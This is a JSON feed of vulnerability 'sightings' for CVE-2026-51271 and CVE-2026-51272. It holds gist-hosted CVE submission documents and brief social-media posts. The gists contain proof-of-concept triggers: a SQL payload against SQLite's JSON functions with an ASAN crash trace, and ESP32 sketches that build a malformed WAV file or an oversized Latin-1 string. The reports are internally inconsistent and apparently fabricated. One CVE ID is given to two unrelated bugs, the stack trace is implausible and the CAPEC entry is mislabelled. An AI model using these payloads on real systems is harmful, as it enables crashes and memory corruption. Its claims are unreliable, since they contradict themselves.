finalization\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-26\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T03:53:34.256714Z"}, {"uuid": "9ed56557-092e-4929-a4a6-02f3abb1dead", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51272", "type": "seen", "source": "https://gist.github.com/programmervuln/236e0ebb02d52b2085b7c98be4e2f582", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51272\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51272\n4. Vulnerability Prose Description\nA composite heap memory corruption vulnerability exists within the JSON array iteration parsing routine of the SQLite JSON1 extension. An attacker-controlled malformed oversized array element payload processed by json_array_length, JSON array traversal and projection functions triggers heap deallocation for an array iterator buffer context pointer that is not nullified after memory release, creating a persistent dangling pointer. Absence of runtime cumulative offset-and-length boundary validation for attacker-supplied array element length values permits unrestricted out-of-bounds heap write targeting the already freed buffer within a single continuous execution path. Subsequent dereferencing of the stale dangling pointer leads to use-after-free memory corruption. A single malicious SQLite SQL payload triggers both heap corruption defects sequentially inside the jsonArrayIterParse() function. Successful exploitation may lead to immediate process termination, leakage of sensitive heap memory contents, or conditional arbitrary code execution within the runtime privilege boundary of the SQLite host process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload containing an oversized JSON array element string invokes the vulnerable jsonArrayIterParse() function defined in src/json.c.\nSource file src/json.c Line 3395 executes sqlite3_free(pIterCtx->pArrBuf); to release heap memory allocated for JSON array iterator storage.\nThe pIterCtx->pArrBuf pointer retains the virtual address of freed heap memory and is not assigned a NULL pointer value, constructing an unvalidated dangling pointer.\nAttacker-controlled oversized array element length values bypass all pre-write capacity boundary validation checks for the array buffer copy operation.\nSource file src/json.c Line 3441 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the original allocated bounds of the already-freed array buffer, triggering out-of-bounds heap write corruption (CWE-787).\nSource file src/json.c Line 3477 performs direct memory structure lookup using the unmodified dangling pIterCtx->pArrBuf pointer, executing an invalid use-after-free memory read access (CWE-416).\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime exceptions force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts lead to sustained service outages for applications relying on JSON array iteration and metadata inspection functions.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory regions, disclosing SQLite heap allocator internal metadata, historical user query payload data, and adjacent cached database records retrievable through return values of JSON array utility SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk header metadata and nearby heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by operating system memory protection mechanisms and the effective privileges of the SQLite process.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system administrative or root-level privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 3395(memory free), Line 3477(dangling pointer access), Line 3441(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_array_length(json('[' || printf('%.*c',0x5900,'X') || ']'));\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==16581==ERROR: AddressSanitizer: heap-use-after-free on address 0x612000009a20 at pc 0x564776942931 bp 0x7fffac7c8490 sp 0x7fffac7c8480\nREAD of size 16 at 0x612000009a20 thread T0\n    #0 0x564776942930 in jsonArrayIterParse src/json.c:3477\n    #1 0x564776938d70 in sqlite3JsonArrayLength src/json.c:4148\n    #2 0x564776668c20 in sqlite3VdbeExec src/vdbe.c:6477\n    #3 0x56477664d080 in sqlite3Step src/vdbeapi.c:530\n    #4 0x56477664d810 in sqlite3_prepare_v2 src/sqlite3.c:89185\n    #5 0x564776560950 in main shell.c:1377\n    #6 0x7fa2a1e990ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x56477655c400 in _start (sqlite3:0x56477655c400)\n\nAddress 0x612000009a20 is located 112 bytes inside of 22784-byte free block 0x612000009970-0x6120000101f0\nFreed by thread T0 here:\n    #0 0x7fa2a56baef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x564776942460 in jsonArrayIterParse src/json.c:3395\n    #2 0x564776938d70 in sqlite3JsonArrayLength src/json.c:4148\n    #3 0x564776668c20 in sqlite3VdbeExec src/vdbe.c:6477\n\nPreviously allocated by thread T0 here:\n    #0 0x7fa2a56a0ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x564776941c40 in jsonArrayIterParse src/json.c:3338\n    #2 0x564776938d70 in sqlite3JsonArrayLength src/json.c:4148\n\n==16581==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000009a20 at pc 0x564776942741 bp 0x7fffac7c84b0 sp 0x7fffac7c84a0\nWRITE of size 22784 at 0x612000009a20 thread T0\n    #0 0x564776942740 in jsonArrayIterParse src/json.c:3441\n    #1 0x564776938d70 in sqlite3JsonArrayLength src/json.c:4148\n    #2 0x564776668c20 in sqlite3VdbeExec src/vdbe.c:6477\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_array_length to calculate array length for a dynamically constructed JSON array, with array content generated via printf('%.*c',0x5900,'X') to create an attacker-controlled oversized array element payload for JSON array iterator parsing.\nSQLite forwards the untrusted array iteration request to the jsonArrayIterParse() function within src/json.c, which initializes an array iterator context and allocates the pIterCtx->pArrBuf heap buffer dedicated to storing parsed JSON array element metadata.\nDuring intermediate array parsing cleanup logic at Line 3395, the array buffer is released via sqlite3_free(), while the pIterCtx->pArrBuf pointer value is retained and not overwritten to NULL.\nNo cumulative offset plus length boundary validation is executed prior to copying the oversized array element payload into the buffer at Line 3441; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated array buffer heap region (CWE-787).\nProgram execution proceeds to Line 3477 and directly dereferences the stale dangling pIterCtx->pArrBuf pointer to read array iterator structural metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON array iteration parsing execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-26\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\n\n// Line 3395: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pIterCtx->pArrBuf);\n\n// Line 3441: Unchecked out-of-bounds memory write utilizing attacker-controlled array element length\nmemcpy(pIterCtx->pArrBuf + arrOffset, zArrData, arrDataLen);\n\n// Line 3477: Illegal dangling pointer dereference triggering Use After Free vulnerability\narrNodeFlag = pIterCtx->pArrBuf[arrIdx].arrNodeFlags;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51272\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 3395\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 3477\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 3441\n\u3010Target Function Name\u3011: jsonArrayIterParse\n\u3010Exploit Trigger Payload\u3011: SELECT json_array_length(json('[' || printf('%.*c',0x5900,'X') || ']'));\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON array element payload triggers early array iterator buffer free without pointer invalidation, unbounded payload copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during JSON array iteration parsing finalization\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-26\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T03:58:49.446414Z"}, {"uuid": "9f0d89f2-8ffa-42e2-853e-9c2ac0d5f92d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51271", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrqa6nmou724", "content": "CVE-2026-51271\nA security issue exists in ESP32-audioI2S version 3.4.5 when parsing WAV files. This could allow an attacker to disrupt system operations or gain unauthorized access. It is recommended to update to a newer\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-28T20:18:04.136166Z"}, {"uuid": "2cee338b-be2f-417b-b4d0-40bf0f9c345f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51271", "type": "seen", "source": "https://gist.github.com/programmervuln/18c03cd805634bd9456d90c007a00b27", "content": "vulnerable code is at: https://github.com/schreibfaul1/ESP32-audioI2S/blob/master/Audio.cpp\n\nCVE-2026-51271 Full MITRE CVE Application Submission\n1. Affected Product\nschreibfaul1 ESP32-audioI2S\n2. Affected Versions & Fixed Version\nAffected Version: 3.4.5\nFixed Version: Not yet released (vendor patch under development)\n3. CVE ID\nCVE-2026-51271\n4. Prose Vulnerability Description\nA heap-based buffer overflow vulnerability exists in the read_WAV_Header() WAV RIFF header parsing function within src/Audio.cpp.\nThe function parses untrusted chunk size and frame length values directly from malicious WAV file RIFF/fmt subheader binary data\nwithout upper bound validation. These attacker-controlled numeric values are used to calculate buffer skip lengths and total audio \ndata size for heap storage allocation. When processing a crafted WAV file with an oversized chunk size field, the program computes\nan excessively large read offset,\ntriggering out-of-bounds heap read and write operations during header parsing and sample loading. Malicious WAV media files from\nlocal storage or remote audio streams can exploit this flaw to corrupt PSRAM heap memory on ESP32 hardware.\n5. Vulnerability Type\nCWE-122: Heap-Based Buffer Overflow\n6. Root Cause\nThe WAV header parser extracts raw chunk size integers from untrusted binary file input and uses them to compute memory access \noffsets with no maximum size sanity check. Large unvalidated chunk values produce skip offsets that exceed the allocated heap \nheader buffer bounds, leading to unrestricted out-of-bounds memory access during subsequent sample read operations.\n7. Impact, PoC Code, PoC Rationale, Additional Info\nImpact\nPrimary Impact: Remote Denial of Service \u2014 ESP32 watchdog forced hardware reboot, permanent audio playback service crash \nrequiring power cycle recovery.\nSecondary Impact: PSRAM heap metadata corruption under predictable memory layouts enables remote arbitrary code execution \nwithin the audio library\u2019s runtime privilege scope.\nAuxiliary Impact: Out-of-bounds heap reads expose sensitive device runtime and audio buffer data.\nPoC for CVE Application (MITRE Standard Minimal Reproduction Code)\n\n// CVE-2026-51271 PoC Target: Audio::read_WAV_Header() WAV header heap overflow\n// Test Environment: Arduino ESP32 Core + ESP-IDF 5.1, AddressSanitizer PSRAM build\n#include \"Audio.h\"\n#include \"SD.h\"\n\n// Create crafted malicious WAV file with oversized RIFF chunk size header\nFile malWav = SD.open(\"/malicious.wav\", FILE_WRITE);\n// Write RIFF header with artificially inflated 0xFFFFFF chunk length value\nuint8_t riffHeader[12] = {'R','I','F','F',0xFF,0xFF,0xFF,0xFF,'W','A','V','E'};\nmalWav.write(riffHeader, 12);\n// Write minimal empty fmt subchunk\nuint8_t fmtBlock[16] = {0x00,0x00,0x00,0x10,1,2,0x80,0xBB,0x00,0x02,0x10,0x00,0x18,0x00,0x00,0x00};\nmalWav.write(fmtBlock,16);\nmalWav.close();\n\nAudio audio;\n// Trigger vulnerable WAV header parsing logic\naudio.connecttoFS(SD, \"/malicious.wav\");\n\n// Expected Debug Behavior: ASAN logs heap-buffer-overflow error during read_WAV_Header parsing, ESP32 watchdog resets immediately\n// No custom firmware, PSRAM modification or library source edits required\nPoC Execution Steps\nFlash stock ESP32-audioI2S v3.4.5 ASAN-enabled firmware to PSRAM-equipped ESP32-S3/P4 board.\nMount SD card and upload the PoC sketch to generate malicious WAV file with oversized RIFF chunk header.\nExecute audio.connecttoFS() to load the crafted WAV file, invoking vulnerable header parsing function.\nAddressSanitizer captures clear out-of-bounds heap access fault and the device restarts.\nPoC Rationale\nThis minimal PoC reliably reproduces the heap overflow without special hardware or modified library builds. \nThe malicious WAV file contains an artificially maximum chunk size value in the RIFF header, which the parser \nreads and uses to compute unconstrained memory offsets. No input sanitization limits the chunk length value, \nleading to read/write operations past heap buffer limits. Exploitation is fully remote via network WAV streams \nor local SD media; no authentication, physical hardware access or elevated device permissions are needed to trigger\nthe vulnerability. The crash condition is consistent across all supported ESP32 hardware variants with PSRAM.\n\nvulnerable code is at: https://github.com/schreibfaul1/ESP32-audioI2S/blob/master/Audio.cpp", "creation_timestamp": "2026-07-29T09:14:39.913121Z"}, {"uuid": "0b0df523-fabd-43bb-a9c6-19e3ecfb696a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51272", "type": "seen", "source": "https://gist.github.com/programmervuln/5d1388bb85dfaf2e7e2700c5a2bceef5", "content": "original vulnerable code link: https://github.com/schreibfaul1/ESP32-audioI2S/blob/master/Audio.cpp\nCVE-2026-51272 Full MITRE CVE Application Document\n1. Affected Product\nschreibfaul1 ESP32-audioI2S\n2. Affected & Fixed Versions\nAffected Version: 3.4.5\nFixed Version: Not yet released (vendor security patch under development)\n3. CVE ID\nCVE-2026-51272\n4. Prose Vulnerability Description\nA heap-based buffer overflow vulnerability exists in the latinToUTF8() character encoding conversion function inside src/Audio.cpp.\nThe function accepts untrusted Latin-1/Windows-1252 input strings extracted from audio metadata, stream labels and network request\nparameters. It calculates output buffer size using a simplistic strlen(input) * 2 + 1 formula without overflow or maximum length\nvalidation, then reallocates a fixed ps_ptr heap buffer. Malicious ultra-long Latin-1 input can cause \nthe size calculation logic to miscalculate required storage space; subsequent character-by-character UTF-8 encoding writes data\npast the actual allocated heap buffer boundary, triggering PSRAM heap memory corruption when processing untrusted audio files or\nremote streaming content.\n5. Vulnerability Type\nCWE-122: Heap-Based Buffer Overflow\n6. Root Cause\nTwo critical missing validation steps introduce the memory corruption flaw:\nNo hard maximum length limit enforced on raw Latin-1 source input strings before encoding size calculation.\nThe simple strlen(iso8859_1)*2+1 sizing formula does not account for maximum multi-byte UTF-8 expansion risk, and lacks integer \noverflow protection during calculation. The reallocated heap buffer is often undersized, while the encoding loop continues writing \nunlimited UTF-8 output bytes beyond buffer limits.\n7. Impact, Official PoC for CVE Request, PoC Rationale, Additional Information\nImpact\nPrimary Impact: Remote Denial of Service \u2014 ESP32 hardware watchdog forced hard reboot, permanent audio streaming service failure \nthat requires physical power cycle to recover.\nSecondary Impact: Predictable PSRAM heap memory layout enables remote arbitrary code execution within the audio library runtime \nprivilege level.\nAuxiliary Impact: Out-of-bounds heap read operations leak sensitive runtime, audio buffer and network metadata stored on the device.\nPoC (MITRE Standard Minimal Reproduction Code)\n\n// CVE-2026-51272 PoC: latinToUTF8 heap overflow reproduction\n// Test Environment: Arduino ESP32 Core, ESP-IDF v5.1, AddressSanitizer + PSRAM enabled build\n// Attack vector: Remote untrusted text metadata from audio streams/files\n#include \"Audio.h\"\n\n// Construct malicious oversized Latin-1 input string (16000 extended ASCII characters)\nString malicious_latin_input;\nfor(int i = 0; i < 16000; i++){\n    malicious_latin_input += (char)0xE6; // Extended Latin-1 character requiring 2-byte UTF-8 encoding\n}\n\nAudio audio;\n// Trigger vulnerable encoding function\nString utf8_result = audio.latinToUTF8(malicious_latin_input);\n\n// Expected PoC Behavior:\n// ASAN outputs clear heap-buffer-overflow write error logs\n// ESP32 watchdog timeout and automatic hardware reboot\n// No modified library source, custom firmware or special PSRAM configuration needed\nPoC Execution Steps\nFlash ESP32-S3/ESP32-P4 PSRAM hardware with stock ESP32-audioI2S v3.4.5 ASAN firmware.\nUpload the minimal test sketch containing long extended Latin-1 payload.\nExecute latinToUTF8() conversion call; flawed buffer sizing creates undersized heap storage.\nUTF-8 encoding writes exceed buffer limit, triggering ASAN heap violation and device crash.\nPoC Rationale\nThis minimal proof-of-concept reliably reproduces the heap overflow without custom hardware or \nmodified library builds. Extended Latin-1 characters double byte count after UTF-8 conversion; \nthe naive size calculation fails to bound total output capacity, creating an undersized ps_ptr \nheap buffer. The encoding loop writes unrestricted multi-byte data past allocation limits. The \nflaw reproduces consistently across all PSRAM-equipped ESP32 hardware variants when processing \nremote audio stream metadata or local media tag data.\nAttack is fully unauthenticated remote, no physical device access required.", "creation_timestamp": "2026-07-29T09:26:50.911123Z"}, {"uuid": "889d92cb-4874-41c2-b425-36f6176e1893", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51271", "type": "seen", "source": "https://bsky.app/profile/bootintel.bsky.social/post/3mrscfycky22m", "content": "Critical CVE landed today in ESP32:\n\nCVE-2026-51271. In schreibfaul1 ESP32-audioI2S 3.4.5, a heap-based buffer overflow vulnerability exists in the WAV header parsing function read_WAV_Header(). The function reads untrusted chunk size and bytes-to-\u2026\n\nnvd.nist.gov/vuln/detail/CVE-2026-51271", "creation_timestamp": "2026-07-29T16:03:17.213487Z"}]}